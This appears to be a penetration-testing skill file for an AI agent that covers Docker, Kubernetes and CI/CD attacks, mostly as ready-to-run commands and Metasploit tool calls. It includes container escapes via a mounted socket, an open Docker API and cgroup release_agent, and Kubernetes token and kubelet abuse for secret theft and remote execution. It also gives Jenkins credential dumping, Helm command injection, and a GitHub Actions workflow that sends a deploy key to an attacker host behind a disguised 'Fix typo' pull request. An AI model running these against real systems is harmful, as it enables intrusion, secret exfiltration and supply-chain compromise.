| name | container-devops-pentest |
| description | Guides container and DevOps penetration testing for Docker escape, Kubernetes abuse, CI/CD pipeline secrets, package manager poisoning, and secrets enumeration from footholds or exposed services. |
Container and DevOps Pentest
Prerequisites
- Container orchestration or CI/CD targets are in scope.
- Exposed Docker API (2375/2376): verify scope, load
hacktricks-methodology.
- Cloud-hosted clusters: also load
cloud-pentest.
Workflow
Task Progress:
- [ ] Identify container runtime (Docker, K8s) or CI/CD platform
- [ ] Enumerate pods, services, secrets, pipeline configs
- [ ] Test escape, privilege escalation, secret exfil
- [ ] Document with namespace/cluster/pipeline context
Docker enumeration
Inside container
MSF MCP (preferred):
msf_run_post_module(
module_name="post/linux/gather/checkcontainer",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
cat /proc/1/cgroup
ls /.dockerenv 2>/dev/null
capsh --print
ls -la /var/run/docker.sock 2>/dev/null
deepce.sh
Mounted Docker socket escape
MSF: No direct module; use CLI.
CLI fallback:
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
Open Docker API (2375/2376)
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/docker_version",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 2375}
)
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/docker_login",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 2375, "USERNAME": "admin", "PASSWORD": "password"}
)
CLI fallback:
curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 run -v /:/host -it alpine chroot /host sh
Privileged container escape (cgroup release_agent)
MSF: No direct module; use CLI.
CLI fallback:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/shellcmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /shellcmd; echo 'id > /tmp/output' >> /shellcmd; chmod +x /shellcmd
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"
Kubernetes enumeration
Service account token queries
MSF: No direct module; use CLI.
CLI fallback:
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
curl -s -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NS/secrets
kubectl auth can-i --list
kubectl get pods,secrets,roles,rolebindings -A
RBAC abuse: privileged pod deploy
MSF: No direct module; use CLI.
CLI fallback:
kubectl apply -f priv-escape.yaml
Kubelet abuse (10250)
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/kubelet_healthz",
engagement_id="<id>",
options={"RHOSTS": "<node>", "RPORT": 10250}
)
CLI fallback:
curl -k https://<node>:10250/pods
curl -k -X POST "https://<node>:10250/run/<ns>/<pod>/<container>" -d "cmd=id"
Tools: kube-hunter, kube-bench, kubescape, KubeHound.
CI/CD secrets enumeration
General env and config search
MSF MCP (preferred):
msf_run_post_module(
module_name="post/multi/gather/env",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
env | sort
find / -name "*.yml" -path "*workflow*" 2>/dev/null
find / -name "Jenkinsfile" 2>/dev/null
grep -r "password\|secret\|token\|apikey" . 2>/dev/null
GitHub Actions exploit PoC (pull_request_target)
MSF: No direct module; use CLI.
CLI fallback:
on:
pull_request_target:
types: [opened]
jobs:
pwn:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.ref }}
- run: curl http://attacker/exfil?secret=${{ secrets.DEPLOY_KEY }}
gh repo fork target/repo --clone
git push origin exploit-branch
gh pr create --title "Fix typo" --body "Minor fix"
Check: pull_request_target, unpinned actions, self-hosted runner access, ${{ secrets.* }} in fork PR context.
GitLab CI
MSF: No direct module; use CLI.
CLI fallback:
cat .gitlab-ci.yml
curl --header "JOB-TOKEN: $CI_JOB_TOKEN" "https://gitlab/api/v4/projects"
Jenkins
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/jenkins_enum",
engagement_id="<id>",
options={"RHOSTS": "<jenkins>", "RPORT": 8080}
)
msf_module_check(
module_name="exploit/multi/http/jenkins_metaprogramming",
engagement_id="<id>",
module_type="exploit",
options={"RHOSTS": "<jenkins>", "RPORT": 8080}
)
CLI fallback:
curl -s http://jenkins:8080/credentials/store/system/domain/_/api/json
curl -s http://jenkins:8080/scriptText --data-urlencode "script=println Jenkins.instance.pluginManager.plugins"
Helm template injection
MSF: No direct module; use CLI.
CLI fallback:
helm template myapp ./chart --set image.tag='"; id; echo "'
helm template myapp ./chart -f malicious-values.yaml
If pipeline runs helm template or helm install with untrusted values, command injection may occur in shell wrappers.
DevOps secret locations
| Location | Contents |
|---|
| K8s Secrets | DB passwords, API keys, TLS |
| Docker configs | ~/.docker/config.json |
| CI env vars | Cloud keys, deploy tokens |
| Helm values | Inline secrets |
| Terraform state | Plaintext creds in .tfstate |
.env files | App secrets |
See cloud-pentest for Terraform state reading.
Metasploit integration
MSF MCP (preferred):
msf_search_modules(query="docker jenkins tomcat")
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/docker_version",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 2375}
)
Most container abuse is kubectl/docker/API. Include engagement_id on MSF action tools.
Related skills
cloud-pentest - cloud-hosted containers and registries (ECR, ACR)
internal-ad-pentest - on-prem K8s with AD integration
linux-pentest - host privesc after container escape
web-app-pentest - exposed CI/CD web UIs, dependency confusion
ssrf-pentest - SSRF to internal Docker/K8s APIs
red-team-evasion - OPSEC before noisy container escape attempts